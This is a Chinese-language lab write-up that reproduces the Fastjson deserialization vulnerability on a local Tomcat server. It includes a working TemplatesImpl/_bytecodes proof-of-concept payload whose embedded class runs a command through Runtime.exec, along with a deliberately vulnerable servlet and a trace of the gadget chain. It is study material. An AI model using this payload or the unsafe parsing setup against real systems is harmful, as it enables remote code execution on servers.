近期暴露了阿里的Fastjson反序列漏洞呐粘,作為一個(gè)安全小白,在網(wǎng)上搜索了很多大神書寫的資料學(xué)習(xí)弄痹,并通過搭建環(huán)境的方式進(jìn)行實(shí)踐加深理解勾效,在此記錄學(xué)習(xí)過程嘹悼。
1. 環(huán)境搭建
Fastjson為Java語言編寫,因此為了實(shí)踐层宫,首先需要搭建一個(gè)使用Fastjson的Web服務(wù)杨伙,此處選擇使用Tomcat方式部署Web,因此先安裝Tomcat萌腿。
1.1Tomcat安裝
Tomcat依賴Java限匣,首先查看Java版本,本機(jī)版本為JDK1.8哮奇,滿足Tomcat7.0版本要求膛腐。
前往Tomcat官網(wǎng)https://tomcat.apache.org/download-70.cgi根據(jù)操作系統(tǒng)版本下載對(duì)應(yīng)的Tomcat。
將下載的Tomcat放到安裝目錄下解壓鼎俘,此處選擇為/opt目錄哲身,如下圖:
Tomcat的目錄結(jié)構(gòu)如下:
修改環(huán)境變量
此時(shí)Tomcat安裝完成,可以啟動(dòng)Tomcat贸伐。
測(cè)試Tomcat是否成功啟動(dòng)
1.2 Eclipse配置Tomcat服務(wù)器
在Eclipse的菜單中選擇"Windows"-->"Preferences"-->"Server"-->"Runtime Environments"
選擇添加所安裝的對(duì)應(yīng)的Tomcat版本勘天,此處為Tomcat7。
創(chuàng)建完成后如下
1.3 書寫簡(jiǎn)單的Demo環(huán)境
書寫簡(jiǎn)單的代碼,接收客戶端提交的JSON字符串脯丝,并使用Fastjson進(jìn)行解析商膊。
IndexServlet.java
package fastt;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.alibaba.fastjson.JSON;
class Person {
private int age;
public String username;
private String hobby;
public Person() {
}
public Person(int age, String username, String hobby){
this.age = age;
this.username = username;
this.hobby = hobby;
}
public int getAge(){
return this.age;
}
public void setAge(int age){
this.age = age;
}
public String getUsername(){
return this.username;
}
public void setUsername(String username){
this.username = username;
}
public String getHobby(){
return this.hobby;
}
public void setHobby(String hobby){
this.hobby = hobby;
}
}
@WebServlet("/IndexServlet")
public class IndexServlet extends HttpServlet{
/**
*
*/
private static final long serialVersionUID = 1L;
public IndexServlet() {
super();
}
public void destroy() {
super.destroy();
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
String json_string = request.getParameter("json_string");
System.out.println(json_string);
Person p = JSON.parseObject(json_string, Person.class);
PrintWriter writer = response.getWriter();
String htmlRespone = "<html>";
htmlRespone += "<h2>Your input is: <br/>";
htmlRespone += "user name: " + p.getUsername() + "<br/>";
htmlRespone += "age: " + p.getAge() + "<br/>";
htmlRespone += "hobby: " + p.getHobby() + "<br/>";
htmlRespone += "</html>";
writer.println(htmlRespone);
}
}
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>welcome hahaha</title>
</head>
<body>
welcome, eclipse deploy tomcat
<form action="IndexServlet" method="post">
Input: <input type="text" name="json_string"><br>
<input type="submit" value="submit">
</form>
</body>
</html>
在Eclipse中啟動(dòng)Tomcat
通過瀏覽器訪問并提交json字符串
結(jié)果如下
到此我們的環(huán)境已經(jīng)成功搭建。
2. Fastjson漏洞測(cè)試
在附錄參考文檔中宠进,學(xué)習(xí)了Fastjson漏洞的知識(shí)晕拆,根據(jù)前人的經(jīng)驗(yàn),構(gòu)造POC測(cè)試代碼材蹬。
import java.io.IOException;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class User extends AbstractTranslet{
public String username;
public String password;
public User() throws IOException{
Runtime.getRuntime().exec("gnome-calculator");
}
/*
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return this.password;
}
public void setPassword(String password) {
this.password = password;
}
*/
public static void main(String[] args) {
/*
User user = new User();
user.setUsername("admin");
user.setPassword("123456");
String entry1 = JSON.toJSONString(user);
System.out.println(entry1);
String entry2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
System.out.println(entry2);
*/
String jsonString = "{\"@type\":\"fastt.User\",\"password\":\"123456\",\"username\":\"admin\"}";
Object user = JSON.parseObject(jsonString);
System.out.println(user);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
// TODO Auto-generated method stub
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
// TODO Auto-generated method stub
}
}
其中該User類繼承自AbstractTranslet類实幕,后面可看到原因。
直接運(yùn)行該代碼堤器,F(xiàn)astjson在解析json的時(shí)候會(huì)調(diào)用默認(rèn)構(gòu)造函數(shù)昆庇,此時(shí)會(huì)彈出計(jì)算器。
將User的class文件保存到本地闸溃,此處保存在/home/hadoop/Downloads/路徑下整吆,構(gòu)造Payload的代碼如下:
public class POC {
public static String readClass(String cls) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)),bos);
}catch(IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "/home/hadoop/Downloads/User.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
可以看到_bytecodes字段的value即是User.class的內(nèi)容。@type為com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl辉川。
此處貼出TemplateImpl類的重要函數(shù)代碼
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
處理Post請(qǐng)求的代碼
public class IndexServlet extends HttpServlet{
/**
*
*/
private static final long serialVersionUID = 1L;
public IndexServlet() {
super();
}
public void destroy() {
super.destroy();
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
String json_string = request.getParameter("json_string");
System.out.println(json_string);
//ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(json_string, Object.class, Feature.SupportNonPublicField);
//JSONObject p = JSON.parseObject(json_string);
PrintWriter writer = response.getWriter();
String htmlRespone = "<html>";
htmlRespone += "<h2>Your input is: <br/>";
htmlRespone += "user name: " + obj.toString() + "<br/>";
//htmlRespone += "age: " + p.get("age") + "<br/>";
//htmlRespone += "hobby: " + p.get("hobby") + "<br/>";
htmlRespone += "</html>";
writer.println(htmlRespone);
}
其中在使用JSON.parseObject函數(shù)時(shí)表蝙,使用了參數(shù)Feature.SupportNonPublicField,這是由于Fastjson默認(rèn)只能解析public字段员串,而像本例中的_bytecode,_outputProperties等都是private屬性的勇哗,因此需要配置此參數(shù)昼扛。
在客戶端提交請(qǐng)求寸齐,并跟蹤處理邏輯经伙。
可以看到JSON.parseObject函數(shù)會(huì)解析json字符串偿凭。
根據(jù)@type字段獲取到對(duì)應(yīng)的類:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
使用JavaBean進(jìn)行反序列化,使用JavaBean的deserialize方法淑翼。
調(diào)用smartMatch方法犯祠,本來Field是_outputProperties姓蜂,使用smartMatch后轉(zhuǎn)變?yōu)閛utputProperties旱捧。
可以看到fieldDeserializer的值已經(jīng)是outputProperties愕够。
調(diào)用deserialize方法
調(diào)用serValue方法
調(diào)用到TemplatesImpl類的getOutputProperties方法过咬。
調(diào)用到TemplatesImpl類的getTransletInstance()方法
調(diào)用到TemplatesImpl類的defineTransletInstance()方法浦箱,在defineTransletClasses方法中會(huì)根據(jù)_bytecodes來生成一個(gè)java類吸耿,生成的java類隨后會(huì)被getTransletInstance方法用到生成一個(gè)實(shí)例。此時(shí)可以看到返回的類會(huì)被強(qiáng)制轉(zhuǎn)換成AbstractTranslet類酷窥,這也就是前面構(gòu)造的User類需要繼承自AbstractTranslet類的原因咽安。
上圖中的newInstace()方法,會(huì)調(diào)用User()的默認(rèn)構(gòu)造函數(shù)蓬推,從而執(zhí)行默認(rèn)構(gòu)造函數(shù)中的Runtime.getRuntime().exec("gnome-calculator")妆棒,彈出計(jì)算器。
參考文檔: